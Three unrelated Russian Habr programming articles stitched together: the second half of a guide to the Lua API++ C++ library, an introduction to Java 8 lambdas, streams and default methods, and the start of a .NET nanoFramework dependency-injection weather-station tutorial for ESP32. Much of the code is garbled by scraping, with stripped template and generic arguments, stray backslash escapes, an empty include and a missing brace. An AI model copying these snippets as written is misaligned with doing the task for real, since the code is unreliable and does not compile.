Обратная миграция осуществляется при помощи встроенных в Value-типы операторов неявного преобразования и при помощи шаблонной функции `cast`.Если в Lua-значении содержатся данные, которые невозможно преобразовать в то, во что мы пытаемся, будет выброшено исключение. Функция `optcast` вместо исключений вернёт «запасное» значение.
```
int a = val;
auto b = val.cast();
auto c = val.optcast(42);
```
**Эквивалентный код**
```
if(!lua_isnumber(ctx, valIdx)){
lua_pushstring(ctx, "Conversion error");
return lua_error(ctx);
}
int a = lua_tointeger(ctx, valIdx);
if(!lua_isnumber(ctx, valIdx)){
lua_pushstring(ctx, "Conversion error");
return lua_error(ctx);
}
auto b = lua_tointeger(ctx, valIdx);
auto c = lua_isnumber(ctx, valIdx) ? lua_tointeger(ctx, valIdx) : 42;
```
Проверить совместимость с нужным типом можно функцией `is`, а при помощи `type` — узнать тип хранимого значения непосредственно.
```
if(val.is()) ...;
if(val.type() == ValueTypes::Number) ...;
```
---
#### Операции с одиночным значением
##### Присваивание
Если у нас есть Value, то в общем случае ему можно что-нибудь присвоить, как другие Value, так и нативные. Но это не относится к некоторым временным значениям, например, к результату вызова функции или длине: оказавшись по левую сторону от знака **`=`**, они выдадут мудрёную ошибку. А вот другие временные значения, вроде индексации или метатаблицы, присваивание вполне допускают. По смыслу выполняемого действия несложно догадаться, чему присваивать можно, а чему нельзя.
##### Метатаблицы
Метод `mt` даёт доступ к метатаблице значения, которую можно читать и записывать.
```
{
Table mt = val.mt();
val.mt() = nil;
}
```
**Эквивалентный код**
```
if(!lua_getmetatable(ctx, valIdx)){
lua_pushstring(ctx, "The value has no metatable");
return lua_error(ctx);
}
int mtIdx = lua_gettop(ctx);
lua_pushnil(ctx);
lua_setmetatable(ctx, valIdx);
lua_pop(ctx, 1);
```
##### Длина
Работа функции `len` различается в разных версиях Lua: в режиме совместимости с 5.1 она возвращает нативный `size_t`, а в режиме 5.2 временное значение.
##### Индексация
Доступ к элементам таблицы по ключу осуществляется индексированием, ключ может иметь любой поддерживаемый тип. Но надо помнить о том, что при оборачивании функций будут создаваться новые замыкания:
```
void myFunc();
Retval example(Context& c)
{
Table t(c);
t[myFunc] = 42; // Здесь myFunc порождает одно замыкание...
assert(t[myFunc].is()); // а здесь - уже второе, не равное первому.
t[mkcf] = 42.42; // А это у нас CFunction, она идёт "налегке"
assert(t[mkcf] == 42.42);
}
```
**Эквивалентный код**
```
void myFunc();
int wrapped_void_void(lua_State* s)
{
if(!lua_islightuserdata(ctx, lua_upvalueindex(1))) {
lua_pushstring(ctx, "Conversion error");
return lua_error(ctx);
}
void (*fptr) () = reinterpret_cast(lua\_touserdata(ctx, lua\_upvalueindex(1)));
fptr();
return 0;
}
int mkcf\_myFunc(lua\_State\* s)
{
myFunc();
return 0;
}
int example(lua\_State\* ctx)
{
lua\_createtable(ctx, 0, 0);
int t = lua\_gettop(ctx);
lua\_pushlightuserdata(ctx, reinterpret\_cast(&myFunc));
lua\_pushcclosure(ctx, &wrapped\_void\_void, 1);
lua\_pushinteger(ctx, 42);
lua\_settable(ctx, t);
lua\_pushlightuserdata(ctx, reinterpret\_cast(&myFunc));
lua\_pushcclosure(ctx, &wrapped\_void\_void, 1);
lua\_gettable(ctx, t);
assert(lua\_isnil(ctx, -1));
lua\_pushcfunction(ctx, &mkcf\_myFunc);
lua\_pushnumber(ctx, 42.42);
lua\_settable(ctx, t);
lua\_pushcfunction(ctx, &mkcf\_myFunc);
lua\_gettable(ctx, t);
lua\_pushnumber(ctx, 42.42);
int result = lua\_compare(ctx, -1, -2, LUA\_OPEQ);
lua\_pop(ctx, 2);
assert(result == 1);
}
```
##### Вызов функций
Вызов Lua-функций осуществляется обычными круглыми скобками. Есть метод `call` для явного вызова, на тот случай, если надо как-то повыразительнее. Защищённый вызов `pcall` предохраняет от ошибок.
```
int x = fn(1);
int y = fn.call(1); // То же самое
int z = fn.pcall(1); // А тут лучше было проверить, возникла ли ошибка
```
###### Множественные возвращаемые значения
Мы только что видели, что результат вызова можно смело использовать как обычное значение. Но как быть с функциями, которые возвращают сразу несколько значений? Возьмём для примера такую функцию на Lua:
```
function mrv() return 2, 3, 4; end
```
У нас есть сразу несколько вариантов.
Во-первых, можно вообще игнорировать результаты вызова, никак не используя выражение вызова. Все возвращённые значения будут просто выкинуты.
```
mrv();
```
**Эквивалентный код**
```
lua_pushvalue(ctx, mrvIdx);
lua_call(ctx, 0, 0);
```
Во-вторых, можно использовать выражение вызова в качестве обычного Lua-значения. Тогда будет использовано только первое возвращённое значение (или `nil`, если функция вообще ничего не вернула), а остальные опять же будут выкинуты.
```
Value x = mrv(); // x == 2
```
**Эквивалентный код**
```
lua_pushvalue(ctx, mrvIdx);
lua_call(ctx, 0, 1);
int x = lua_gettop(ctx);
```
В-третьих, в контексте, подразумевающем последовательность значений (например, параметры функции) выражение вызова подвергнется раскрытию: возвращённые значения станут частью последовательности.
```
print(1, mrv(), 5); // Напечатает 1 2 3 4 5
```
**Эквивалентный код**
```
lua_pushvalue(ctx, printIdx);
int oldtop = lua_gettop(ctx);
lua_pushinteger(ctx, 1);
lua_pushvalue(ctx, mrvIdx);
lua_call(ctx, 0, LUA_MULTRET);
lua_pushinteger(ctx, 5);
int nArgs = lua_gettop(ctx) - oldtop;
lua_call(ctx, nArgs, 0);
```
В-четвёртых, можно просто сохранить всё в `Valset`, придуманный специально для этого.
```
Valset vs = mrv.pcall(); // vs.size() == 3, vs.success() == true
```
**Эквивалентный код**
```
int vsBegin = lua_gettop(ctx) + 1;
lua_pushvalue(ctx, mrvIdx);
bool vsSuccess = lua_pcall(ctx, 0, LUA_MULTRET) == LUA_OK;
int vsSize = lua_gettop(ctx) + 1 - vsBegin;
```
`Valset` запомнит и то, был ли защищённый вызов удачным (это единственный способ получить эту информацию). В случае неудачи он будет содержать сообщение об ошибке. Что приятно, `Valset` способен раскрываться в списке значений точно так же, как и выражение вызова.
```
print(1, vs, 5); // Напечатает 1 2 3 4 5
```
**Эквивалентный код**
```
lua_pushvalue(ctx, printIdx);
int oldTop = lua_gettop(ctx);
lua_pushInteger(ctx, 1);
lua_pushvalue(ctx, mrvIdx);
for(auto i = 0; i < vsSize; ++i)
lua_pushvalue(ctx, vsBegin + i);
lua_pushinteger(ctx, 5);
int nArgs = lua_gettop(ctx) - oldtop;
lua_call(ctx, nArgs, 0);
```
Однако этим польза `Valset` не исчерпывается. Он является STL-подобным контейнерам и к нему можно применять алгоритмы STL, а в качестве «хранимых» значений выступают `Valref`. Если `Valset` расположен на стеке последним, то к нему применимы операции добавления и удаления значений `push_back` и `pop_back`. Обычно при использовании целикового `Valref` происходит дублирование содержащихся значений, но если мы возвращаем его из функции (но только один `Valset`), то его содержимое используется непосредственно. Так можно накапливать возвращаемые значения, количество которых становится известно во время выполнения.
---
#### Операции с двумя значениями
Для выполнения бинарных операций достаточно, чтобы Value-тип присутствовал хотя бы с одной стороны, что позволяет вовлекать в преобразования нативные значения по принципу домино:
```
string s = "The answer to question " & val & " is " & 42;
```
**Эквивалентный код**
```
lua_pushstring(ctx, "The answer to question ");
lua_pushvalue(ctx, valIdx);
lua_pushstring(ctx, " is ");
lua_pushinteger(ctx, 42);
lua_concat(ctx, 4);
string s = lua_tostring(ctx, -1);
lua_pop(ctx, 1);
```
Знаком & обозначается конкатенация. Цепные конкатенации оптимизируются в единый вызов, «склеивающий» сразу несколько значений. Заодно конкатенация является одним из тех мест, в которых раскрываются выражения вызова и `Valset`.
Сравнения тоже выполняются через Lua, но производят нативные булевские значения.
В версии 5.2 доступна и арифметика, включая возведение в степень, под которую был «угнан» символ `^` вместе со своим низким приоритетом.
---
#### Таблицы
У таблиц, представляемых типом `Table`, интерфейс по сравнению с `Valref` несколько урезан. Оставлена индексация, проверка длины, метатаблицы, но убраны не относящиеся к таблицам операции вроде вызова функции. Взамен имеется объект доступа `raw`, осуществляющий прямой доступ к данным, без задействования метатаблиц, а также функция `iterate` для перебора содержимого таблицы, аналог `for_each`. Прямой доступ выглядит как обычная индексация и ничем особо не примечателен, а вот `iterate` принимает функцию (точнее говоря, сойдёт что угодно, лишь бы вело себя как функция), применяемую к парам ключ-значение. Эта функция получает ключ и значение в виде `Valref` и возвращает **`true`**, чтобы продолжить перебор и **`false`**, чтобы остановить. А можно ничего не возвращать и просто пройтись по всему содержимому:
```
Table t = ctx.global["myTable"];
t.iterate([] (Valref k, Valref v)
{
cout << int(k) << int(v);
});
```
**Эквивалентный код**
```
lua_getglobal(ctx, "myTable");
if(!lua_istable(ctx, -1)){
lua_pushstring(ctx, "Conversion error");
return lua_error(ctx);
}
int t = lua_gettop(ctx);
lua_pushnil(ctx);
size_t visited = 0;
while(lua_next(ctx, t)) {
++ visited;
if(!lua_isnumber(ctx, -2) || !lua_isnumber(ctx, -1)){
lua_pushstring(ctx, "Conversion error");
return lua_error(ctx);
}
cout << lua_tointeger(ctx, -2) << lua_tointeger(ctx, -1);
lua_pop(ctx, 1);
}
```
Результатом `iterate` будет количество обработанных записей.
Однако самые полезные функции в `Table` — статические методы `array` и `records`. Они позволяют сразу создавать заполненные таблицы просто указав их содержимое.
```
fn(Table::array(ctx, "one", 42, Table::array(ctx, 1, 2, 3))); // Вложенные таблицы? Легко!
```
**Эквивалентный код**
```
lua_pushvalue(ctx, fn);
lua_createtable(ctx, 3, 0);
lua_pushinteger(ctx, 1);
lua_pushstring(ctx, "one");
lua_settable(ctx, -3);
lua_pushinteger(ctx, 2);
lua_pushinteger(ctx, 42);
lua_settable(ctx, -3);
lua_pushinteger(ctx, 3);
lua_createtable(ctx, 3, 0);
lua_pushinteger(ctx, 1);
lua_pushinteger(ctx, 1);
lua_settable(ctx, -3);
lua_pushinteger(ctx, 2);
lua_pushinteger(ctx, 2);
lua_settable(ctx, -3);
lua_pushinteger(ctx, 3);
lua_pushinteger(ctx, 3);
lua_settable(ctx, -3);
lua_settable(ctx, -3);
lua_call(ctx, 1, 0);
```
Поскольку все значения должны быть привязаны к контексту, в данном случае на него приходится ссылаться явным образом. В остальном вполне очевидно, что `array` ассоциирует переданные значения с последовательными целочисленными индексами, начиная с 1. Это ещё одно из тех мест, где раскрываются выражения вызова и `Valset`.
Метод `records` аналогичен, но принимает пары ключ-значение. В этом случае раскрытие вызовов уже было бы неправильным шагом.
```
x.mt() = Table::records(ctx,
"__index", xRead,
"__newindex", xWrite,
"__gc", xDestroy
);
```
**Эквивалентный код**
```
lua_createtable(ctx, 0, 3);
lua_pushstring(ctx, "__index");
lua_pushlightuserdata(ctx, reinterpret_cast(&xRead));
lua\_pushcclosure(ctx, &wrapped\_signature\_1, 1);
lua\_settable(ctx, -3);
lua\_pushstring(ctx, "\_\_newindex");
lua\_pushlightuserdata(ctx, reinterpret\_cast(&xWrite));
lua\_pushcclosure(ctx, &wrapped\_signature\_2, 1);
lua\_settable(ctx, -3);
lua\_pushstring(ctx, "\_\_gc");
lua\_pushlightuserdata(ctx, reinterpret\_cast(&xDestroy));
lua\_pushcclosure(ctx, &wrapped\_signature\_3, 1);
lua\_settable(ctx, -3);
lua\_setmetatable(ctx, x);
```
---
#### Пользовательские данные
Поддержка пользовательских данных достаточно прямолинейна. После регистрации в этом качестве какого-либо типа он получает равные права с поддерживаемыми нативными значениями, за одним исключением: преобразование в нативный тип должно быть только явным, через метод `cast`, причём такое преобразование возвращает ссылку.
Регистрация осуществляется в два этапа. Сначала при помощи макроса `LUAPP_USERDATA` мы связываем имя типа с его строковым идентификатором. Затем, во время настройки окружения, необходимо задать соответствующую данному типу метатаблицу. Это можно сделать, проиндексировав `registry` строкой-идентификатором, но выразительнее сделать специально предназначенным для этого способом:
```
LUAPP_USERDATA(MyType, "MyType Lua ID")
Retval setup(Context& ctx)
{
ctx.mt() = Table::records(ctx); // То же самое, как если слева написать ctx.registry["MyType Lua ID"]
}
```
При миграции в Lua пользовательским данным будет автоматически назначаться соответствующая метатаблица. Она же используется для проверки соответствия типов, поэтому если второй шаг пропустить, «туда» значения будут проезжать свободно, а вот обратно — их уже никто не признает без ~~паспорта~~ метатаблицы.
Размещение пользовательских данных в Lua подразумевает, что память для хранения объекта Lua выделяет своими силами и отслеживает через сборщик мусора. Lua API++ использует placement new для корректного конструирования объекта в выделенной памяти, задействуя конструктор перемещения, если таковой имеется. Так что не обязательно ограничиваться POD-типами. Более того, можно даже задействовать динамический полиморфизм, зарегистрировав базовый тип и его потомков под одним и тем же строковым идентификатором.
Механизм обёртывания функций позволяет справиться с передачей пользовательских данных по значению и по ссылке. Что особенно приятно, этот механизм работает на функциях-членах, в этом случае подразумевается, что первый аргумент всегда будет ссылкой на наш пользовательский тип. Посмотрим, как это всё работает на примере добавления в Lua числового массива фиксированного размера, проверяющего индексы:
```
#include
using dvec = std::vector; // Используем вектор для хранения данных
LUAPP\_USERDATA(dvec, "Number array") // Связь типа со строковым идентификатором
dvec aCreate(size\_t size) // Создание массива заданного размера.
{ // Конструктор - специальная функция и его нельзя обернуть автоматически.
return dvec(size); // Благодаря RVO и конструктору перемещения не произойдёт перевыделения хранилища
}
void aDestroy(dvec& self) // Деструктор - тоже специальная функция и его тоже нельзя обернуть.
{
self.~dvec();
}
void aWrite(dvec& self, size\_t index, double val) // Запись данных в массив в соответствии с порядком вызова \_\_newindex
{
self.at(index) = val; // Для контроля доступа используем at, исключение преобразуется в ошибку Lua
}
Retval setup(Context& c) { // Настройка окружения
c.mt() = Table::records(c, // Метатаблица для нашего типа
"\_\_index", static\_cast (&dvec::at), // Для чтения с контролем индекса используем родную функцию at
// поскольку их две (const и не-const), явно выберем одну из перегрузок
"\_\_newindex", aWrite,
"\_\_len", dvec::size, // а вот size в vector один, тут совсем просто
"\_\_gc", aDestroy
);
c.global["createArray"] = aCreate; // Функция создания массива будет глобальной
return c.ret();
}
```
---
#### Заключение
Когда я создавал эту библиотеку, то целью ставил создание удобного способа использования Lua без чрезмерных накладных расходов. Она является просто отображением Lua API на С++, без излишеств. В ней даже отсутствует поддержка некоторых возможностей Lua и Lua API (coroutine, string buffers, отладочных функций).
Библиотека рассчитана на то, что её будут использовать вместо Lua API, поэтому по умолчанию она не подключает заголовочные файлы Lua. Большинство функций объявлено как **`inline`**, а все непосредственные обращения к Lua API вынесены в отдельный исходный файл, который надо компилировать вместе с библиотекой, желательно с использованием Link time code generation (LTO в GCC). Однако есть возможность переключить библиотеку в режим header-only. При этом все до единой функции окажутся объявленными в заголовках как **`inline`** и будут подключены заголовки Lua.
Внешних зависимостей у библиотеки нет, ей нужны только совместимый со стандартом **C++11** компилятор, заголовочные файлы Lua и STL. А вот тесты потребуют ещё [Boost Unit Test Framework](http://www.boost.org/).
По умолчанию библиотека рассчитана на Lua версии 5.2 (а после выхода 5.3 будет переориентирована на новую версию), но есть и режим совместимости с 5.1, полностью совместимый и с LuaJIT.
Распространяется [Lua API++](https://github.com/OldFisher/lua-api-pp) под лицензией MIT — та же самая, что у Lua, так что никакой юридической путаницы не возникнет. Библиотека укомплектована полной документацией в формате HTML, включая полный справочник и объяснение основных понятий.
Надеюсь, что моя работа принесёт пользу кому-то из вас.** | https://habr.com/ru/post/201860/ | null | ru | null |
# Что Java 8 нам готовит
Пройдемся по новинкам и покодируем по-новому.
##### Итак, начнем по списку.
Допустим, имеется список.
```
List numbers = Arrays.asList(1, 2, 3, 4, 5, 6);
```
Теперь вспомним, как мы итерировали в старые времена:
```
for (int i = 0; i < numbers.size(); i++){
System.out.println(numbers.get(i));
}
```
Все здорово, но уж очень легко оступиться и поставить <= вместо < или начать с 1 вместо 0. В вышеприведенном коде мы полностью контролируем механику, мы держим в голове все движущие части. Это хорошо во многих случаях, и никто у нас этого не отобрал в Java 5, только добавили сахарку.
```
for(int num:numbers){
System.out.println(num);
}
```
В Java 8 по-прежнему ничего не отбирают, но предлагают «декларативный» подход, значит, мы декларируем что мы хотим сделать, а всю механику — возлагаем на JVM.
```
numbers.forEach(value -> System.out.println(value));
```
Заметим что в примере используется лямбда-выражение. О нем в следующем абзаце. Многие уже видели forEach во многих языках и библиотеках. Итак, forEach нам позволяет в одной строке выразить «вот тебе коллекция, примени-ка данное выражение ко всем ее элементам» (декларативный подход), а не «начиная с первого, и заканчивая последним, перебери один за другим и используй каждый элемент».
##### Теперь о лямбда выражениях.
Очень вкусное нововведение, позволяющее заменить анонимные классы на функции.
рассмотрим пример, уже приведенный выше:
```
numbers.forEach(value -> System.out.println(value));
```
если бы не было ламбда-выражений, то даный пример выглядел бы так:
```
numbers.forEach(new Consumer() {
@Override
public void accept(Integer integer) {
System.out.println(integer);
}
@Override
public Consumer andThen(Consumer super Integer after) {
return null;
}
});
```
Сложновато, не так ли. Но вернемся к простому однострочному выражению, и здесь все еще можно кое-что упростить: зачем нам упоминать value дважды, если и так ясно, что никакой другий переменной там быть не может.
```
numbers.forEach(System.out::println);
```
Да-да, мы передали метод в качестве функции(\*). Таким образом мы сказали: «вот тебе метод, примени его в цикле».
Вот еще пару примерчиков замены анонимных классов функциями:
Создание потока:
```
new Thread(SomeClass::runSomething).start();
```
Сортировка с компаратором
```
Collections.sort(numbers, (o1, o2)-> o2.compareTo(o1));
```
##### Изменения в Collections Framework
Поразмявшись лямбда-выражениями, перейдем к новинкам в Collections Framework. Допустим, нам нужно посчитать сумму всех чисел в списке, умноженных на два. Недолго думая, мы создаем кусочек кода:
```
List numbers = Arrays.asList(1, 2, 3, 4, 5, 6);
int sum = 0;
for (int num : numbers) {
sum += num \* 2;
}
```
Теперь обратимся к декларативному подходу:
```
int result = numbers.stream().
mapToInt(value->value*2).
sum();
```
Постойте-ка, не map-reduce ли это? Он самый. Разберем по порядку. Итак mapToInt проводит map операцию, в результате которой элементы становятся умноженными на два. sum — это reduce преобразование, доступное лишь для целых чисел.
Допустим, поступил заказ модифицировать код и обрабатывать лишь четные, а нечетные отфильтровывать.
```
System.out.println(numbers.stream().
filter(value -> value % 2 == 0).
mapToInt(value -> value * 2).
sum());
```
теперь наоборот, нечетные считать, а четные выбросить:
```
System.out.println(numbers.stream().
filter(value -> value % 2 != 0).
mapToInt(value -> value * 2).
sum());
```
##### еще одна новая особенность языка
Мы привыкли что интерфейс нам говорит «что мы будем делать», но ничего не делает сам. В Java 8 интерфейс иногда что-то делает.
Вот вам примерчик:
```
public interface IFly {
public void takeOff();
public default void cruise() {
System.out.println("IFly.cruise");
};
public void turn();
public void land();
}
```
Кто программировал на С++ и читал Бьерна Стауструпа, тот задаст вопрос: «а как же diamond problem?». Вопрос интересный. И ответ есть.
Допустим, класс наследует два интерфейса, и в каждом из них есть default метод. При компиляции возникнет ошибка.
```
public interface A {
default void hello() { System.out.println("Hello World from A"); }
}
public interface B {
default void hello() { System.out.println("Hello World from B");
}
public class D implements A,B {}
```
Разберем другой пример: треугольник
```
public interface A {
default void hello() { System.out.println("Hello World from A"); }
}
public interface B extends A {
default void hello() { System.out.println("Hello World from B"); }
}
public class C implements B, A {
public static void main(String... args) {
new C().hello();
}
}
```
В данном случае победит ближайший в иерархии, то есть интерфейс B. Ну а если хочется использовать метод интерфейса А, то нужно явно указать
```
A.super.hello();
```
Разберем третий пример: есть конфликтующий метод у абстрактного класса и интерфейса. Правило — побеждает всегда класс.
Таким образом проблема решена:
* если конфликт на одном уровне иерархии — компилятор не даст сему случиться
* если на разных уровнях — победит ближайший
* если интерфейс против класса — побеждает класс
##### Еще пару вкусняшек
Base64, как долго компилятор нам выдавал грозные сообщения об устаревшем sun.misc.Base64 и приходилось пользовать апачевские библиотеки для простой, казалось бы, вещи.
теперь вопрос решен: java.util.Base64
```
Base64.getEncoder().encode(new byte[]{1, 2, 3, 4, 5});
```
Новый API по работе с датами и временами. Если кому не подуше старый добрый GregorianCallendar, то можете попробовать новые классы Clock, Time, LocalTime
```
import java.time.LocalDate;
import java.time.Period;
...
LocalDate time = LocalDate.now();
Period period = Period.ofDays(2);
LocalDate newDate = time.plus(period);
System.out.println("year:"+newDate.getYear());
System.out.println("month:"+newDate.getMonth());
System.out.println("day:"+newDate.getDayOfMonth());
``` | https://habr.com/ru/post/203026/ | null | ru | null |
# Паттерн внедрение зависимостей в .NET nanoFramework для микроконтроллеров
[](https://habrastorage.org/webt/li/ct/6-/lict6-h8tm6ozcwmcyqocwn43uy.jpeg)
Сегодня сломаем привычный мир инженеров и разработчиков встраиваемых систем на микроконтроллерах. В .NET существует замечательный паттерн программирования, как внедрение зависимостей (Dependency injection, DI). Суть паттерна заключается в предоставление механизма, который позволяет сделать взаимодействующие в приложение объекты слабосвязанными. Эти объекты будут связаны между собой через абстракции, например, через интерфейсы, что делает всю систему более гибкой, более адаптируемой и расширяемой. Но когда ведется разработка для микроконтроллеров, все зависимости обычно жестко завязаны на используемых устройствах, и замена датчика иногда приводит к существенному переписыванию программного кода. Напишем приложение на [.NET nanoFramework](https://habr.com/ru/post/549012/) для микроконтроллера [ESP32](https://habr.com/ru/company/timeweb/blog/584144/), используя паттерн DI с возможностью легкой замены датчиков и LCD экрана.
Паттерн внедрение зависимостей
==============================
Паттерн внедрение зависимостей в основном используют для разработки Веб-приложений на ASP.NET. На самой концепцией паттерна не будем останавливаться, многие .NET разработчики хорошо знакомы с данным паттерном, более подробно можно почитать статью [Сервисы и Dependency Injection](https://metanit.com/sharp/aspnet5/6.1.php) на metanit.
Библиотека DI для [nanoFramework](https://habr.com/ru/post/549012/) предоставляется в виде nuget-пакета [nanoFramework.DependencyInjection](https://github.com/nanoframework/nanoFramework.DependencyInjection). Контейнер DI автоматизирует многие задачи, связывает объекты, управляет жизненным циклом приложения. API библиотеки максимально приближен к официальному [.NET Dependency Injection](https://docs.microsoft.com/en-us/dotnet/core/extensions/dependency-injection). Исключения в основном возникают из-за отсутствия поддержки дженериков в .NET nanoFramework.
Для создания контейнера DI необходимо три основных компонента:
* **Композиция объектов (Object Composition)** — композиция объектов, определяющий набор объектов для создания и сопряжения;
* **Регистрация сервисов (Registering Services)** — необходимо определить экземпляр *ServiceCollection* и зарегистрировать в нем объекты с определенным временем жизни;
* **Поставщик услуг (Service Provider)** — создание поставщика услуг для извлечения объекта.
DI был бы неполным без *Generic Host* (общий хост). В nanoFramework доступен в виде nuget-пакета [nanoFramework.Hosting](https://github.com/nanoframework/nanoFramework.Hosting). *Generic Host* конфигурирует контейнер приложения DI, а также предоставляет доступ к сервисам в контейнере DI и управляет жизненным циклом. Когда запускается *Host*, то вызывается *Start()* для каждой реализации *IHostedService*, которые зарегистрированы в коллекции сервисов хоста. В контейнере приложения для всех объектов *IHostedService*, таких как *BackgroundService* или *SchedulerService*, вызывается метод *ExecuteAsync()*. API библиотеки максимально приближен к официальному [.NET Generic Host.](https://docs.microsoft.com/en-us/dotnet/core/extensions/generic-host) Рассмотрим на практике применение паттерна DI.
Архитектура
===========
В качестве примера применения DI, разработаем небольшое устройство метеостанцию. Принцип работы устройства достаточно прост. Пользователь взаимодействует с устройством путем нажатия на кнопки переключения состояний экрана. Всего доступно три состояния экрана для отображения данных:
* Текущая дата и время;
* Температура и влажность;
* Давление.
Таким образом, пользователь может узнать текущее время и температуру окружающей среды. Время на устройстве автоматически синхронизируется с NTP-сервером в сети Интернет.
Метеостанция состоит из следующих компонентов:
* Плата [ESP32 DevKit v1](https://devdotnet.org/post/iot-platforma-esp32-devkit-v1-na-baze-mcu-esp-wroom-32/) на базе микроконтроллера ESP-WROOM-32;
* Цветной дисплей на контроллере SSD1306 подключали в посте [Что нового в .NET nanoFramework? Подключаем LCD экран, сканируем Wi-Fi сети](https://habr.com/ru/company/timeweb/blog/669700/);
* Датчик BME280 для измерения атмосферного давления, температуры и влажности подключали в посте [Программируем микроконтроллеры ESP32 и STM32 на C# (nanoFramework)](https://habr.com/ru/company/timeweb/blog/584144/);
* Емкостная панель клавиатуры на базе датчика MPR121.
**Работа устройства:**
### Схема подключения
Все датчики подключаются по шине I2C. Единственно, был использован LCD SSD1306 c 7-pin контактами для которого требуется дополнительно подключать контакт GPIO для инициализации. В случае использования 4-pin дисплея этого не требуется делать.
Устройства для подключения:
* Датчик [BME280](https://aliexpress.ru/item/32862421810.html), шина I2C, контакты: 21-pin DATA, 22-pin CLOCK;
* Экран [SSD1306](https://aliexpress.ru/item/32638662748.html) OLED с 7-pin I2C/SPI, шина I2C, контакты: 21-pin DATA, 22-pin CLOCK, 18-pin RES для инициализации;
* Емкостная панель клавиатуры на базе датчика [MPR121](https://aliexpress.ru/item/32922795822.html), шина I2C, контакты: 21-pin DATA, 22-pin.
Итоговая схема будет выглядеть следующим образом:
[](https://habrastorage.org/webt/g1/qj/ad/g1qjad-qnkmpq35-7gd0dx047ck.png)
*Принципиальная схема подключения устройств к ESP32 DevKit v1 ([fzz](https://github.com/devdotnetorg/Site/tree/master/Uploads/nf-esp32-di-weatherstation.fzz))*
Приложение
==========
Взаимодействие с датчиками реализовано посредством интерфейсов, которые позволяют легко заменить физический датчик на любой другой, включая виртуальный. Виртуальные датчики очень удобны для процедуры тестирования приложения, когда нет доступа к физическим датчикам. Основная логика приложения максимально абстрактна от механизма работы датчиков. Так в приложение реализуются следующие интерфейсы:
* **ISensorsService** — получение данных о состоянии окружающей среды;
* **IKeyboardService** — получение номера кнопки;
* **IDisplayService** — отображение информации.
### Интерфейсы
#### ISensorsService
В интерфейсе *ISensorsService* декларирована только одна функция получения данных с датчика.
```
public interface ISensorsService
{
public SensorsResult GetSensorsResult();
}
public class SensorsResult
{
public SensorsResult() { }
public SensorsResult(double temperature, double pressure, double humidity)
{
Temperature = temperature;
Pressure = pressure;
Humidity = humidity;
}
public double Temperature { get; }
public double Pressure { get; }
public double Humidity { get; }
}
```
Как видно из примера, отсутствует жесткая привязка к внутренней реализации работы датчика.
#### IKeyboardService
Задача интерфейса *IKeyboardService* заключается в получение кода кнопки. Каким образом будет реализована клавиатура абсолютно неважно, это может быть и обычная кнопочная клавиатура, подключаемая к аналоговому контакту, например клавиатура [Analog ADKeyboard Module.](https://www.dfrobot.com/product-197.html)
[](https://habrastorage.org/webt/31/cg/fs/31cgfsf3hcamyaokptol-lmvims.jpeg)
*Модуль Analog ADKeyboard Module*
Просто считываем код кнопки, который привязан к вариантам состояния экрана.
```
public interface IKeyboardService
{
public int ReadKey();
}
```
#### IDisplayService
Для интерфейса дисплея *IDisplayService* передается тип экрана и объект содержащий данные для отображения.
```
public interface IDisplayService
{
public void Show(Screen screen, object obj);
}
public enum Screen
{
Clear_0,
DateTime_1,
TempHum_2,
Pressure_3,
}
```
### Датчики
Рассмотрим клавиатуру на базе датчика [Mpr121](https://learn.adafruit.com/adafruit-mpr121-12-key-capacitive-touch-sensor-breakout-tutorial). Класс *KeyboardSingleton* наследуется от интерфейсов *IKeyboardService* и *IDisposable*. Содержит функцию инициализации и функцию *ReadKey()* которая объявлена в интерфейсе *IKeyboardService*.
Файл [KeyboardSingleton.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-di-weatherstation/Services/KeyboardSingleton.cs):
```
internal class KeyboardSingleton : IKeyboardService, IDisposable
{
private const int busId = 1; // bus id on the MCU
private I2cDevice _i2cDevice;
private Mpr121 _mpr121;
public KeyboardSingleton()
{
this.InitMpr121();
}
private void InitMpr121()
{
Debug.WriteLine("Init InitMpr121!");
I2cConnectionSettings i2cSettings = new(busId, Mpr121.DefaultI2cAddress);
_i2cDevice = I2cDevice.Create(i2cSettings);
_mpr121 = new Mpr121(_i2cDevice);
}
public int ReadKey()
{
bool[] channelStatuses = _mpr121.ReadChannelStatuses();
int key = -1;
for (int i = 0; i < channelStatuses.Length; i++)
{
if (channelStatuses[i])
{
key = i;
break;
}
}
return key;
}
}
```
Работа с другими устройствами, такими как клавиатура и дисплей организованна так же.
### Сервисы IHostedService
Сервисы являются основными самостоятельными единицами приложения. Все сервисы добавляются в коллекцию сервисов *ServiceCollection()*. *Host builder* вызывает методы *Start()* и *Stop()* для соответствующих сервисов. Можно создать несколько реализаций *IHostedService* и зарегистрировать с помощью метода *ConfigureService()* в контейнере DI.
Пример класса сервиса:
```
public class CustomService : IHostedService
{
public void Start() { }
public void Stop() { }
}
```
### Сервис MonitorService
Вся основная логика приложения размещается в сервисе *MonitorService*. Рассмотрим объявленные переменные в классе и конструктор класса.
Файл [MonitorService.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-di-weatherstation/Services/MonitorService.cs):
```
internal class MonitorService : IHostedService
{
private ISensorsService _sensorsService { get; }
private IDisplayService _displayService { get; set; }
private IKeyboardService _keyboardService { get; }
private Thread _handlerThread;
private CancellationTokenSource _cs;
public MonitorService(ISensorsService sensorsService, IDisplayService displayService, IKeyboardService keyboardService)
{
_sensorsService = sensorsService;
_displayService = displayService;
_keyboardService = keyboardService;
}
```
В конструкторе класса присутствует композиция объектов, с которыми доступно взаимодействие. Как видим, вместо класса *KeyboardSingleton* присутствует интерфейс *IKeyboardService*. Сам класс *MonitorService* не завязан на реализации конечных используемых датчиков, таким образом, реализуется концепция слабосвязанного приложения. Подобным образом строится взаимодействие с датчиками интерфейс *ISensorsService*, и LCD дисплеем интерфейс *IDisplayService*.
Далее метод *Start()* запускает поток, в задачу которого входит считывание состояния клавиатуры, показаний датчиков и отправка данных на LCD дисплей.
**Файл MonitorService.cs**
```
public void Start()
{
...
_handlerThread = new Thread(() =>
{
while (!csToken.IsCancellationRequested)
{
//sensors
sensorsResult = _sensorsService.GetSensorsResult();
//key
key = _keyboardService.ReadKey();
switch (key)
{
case 8:
currentScreen = Screen.DateTime_1;
break;
...
}
//screen
switch (currentScreen)
{
case Screen.DateTime_1:
DateTime currentDateTime = DateTime.UtcNow + TimeSpan.FromHours(3); // +3 GMT
_displayService.Show(Screen.DateTime_1, currentDateTime);
break;
case Screen.TempHum_2:
_displayService.Show(Screen.TempHum_2, sensorsResult);
break;
...
}
Thread.Sleep(500);
}
});
